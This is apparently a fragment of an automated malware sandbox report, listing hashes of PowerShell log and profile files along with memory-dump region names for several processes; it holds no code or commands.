C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 9c172d22fbbdafe12dfc5c909edea107
SHA1 9961cfc5a51f1d375186fc64bf98214bdc0cf2df
SHA256 315439a1131019ecb316a0344395624965a961baff563be19221620e6e3dc18d
SHA512 d459ca5a3abd05b5bff39056065e786eec0260cb83b03c774ab0b98f07dfc8ef7dd5db5f37c569ac0d531ebd640c6dc0aaefc407d357280e07b011e982b91e2d

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 4c29bce287342155e5bbeedebea6335d
SHA1 fc6bd7f43dff1799a0c856b9bf257e0396687730
SHA256 f60a63d0c36545a4dc507d35536a898c6fb5cc98f5ef1d3bfa27ad845cf8a639
SHA512 3824c10f682870c127a0bbbb2c45fed054d12b21b67b7f544cdaf59552a09bead95ce16df002391a74584cccc79dc69b24688512b294724d32e457205950f187

memory/3004-30-0x00007FF6FFEE0000-0x00007FF703770000-memory.dmp

memory/3196-32-0x00007FF6D9C70000-0x00007FF6DD500000-memory.dmp

memory/720-51-0x0000022EF78F0000-0x0000022EF790C000-memory.dmp

memory/720-52-0x0000022EF7910000-0x0000022EF79C5000-memory.dmp

memory/720-53-0x0000022EF6CE0000-0x0000022EF6CEA000-memory.dmp

memory/720-54-0x0000022EF7B30000-0x0000022EF7B4C000-memory.dmp

memory/720-55-0x0000022EF7B10000-0x0000022EF7B1A000-memory.dmp

memory/720-56-0x0000022EF7B70000-0x0000022EF7B8A000-memory.dmp

memory/720-57-0x0000022EF7B20000-0x0000022EF7B28000-memory.dmp

memory/720-58-0x0000022EF7B50000-0x0000022EF7B56000-memory.dmp

memory/720-59-0x0000022EF7B60000-0x0000022EF7B6A000-memory.dmp

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b42c70c1dbf0d1d477ec86902db9e986
SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

memory/3220-82-0x000002837C530000-0x000002837C5E5000-memory.dmp

memory/4312-89-0x0000000001AD0000-0x0000000001AF0000-memory.dmp

memory/3196-88-0x00007FF6D9C70000-0x00007FF6DD500000-memory.dmp

memory/4912-90-0x00007FF62DDB0000-0x00007FF62DDDA000-memory.dmp

memory/4312-91-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

memory/4312-93-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

memory/4912-94-0x00007FF62DDB0000-0x00007FF62DDDA000-memory.dmp

memory/4312-95-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

memory/4312-97-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

memory/4312-99-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

memory/4312-101-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

memory/4312-103-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

memory/4312-105-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp

memory/4312-107-0x00007FF68DB20000-0x00007FF68E30F000-memory.dmp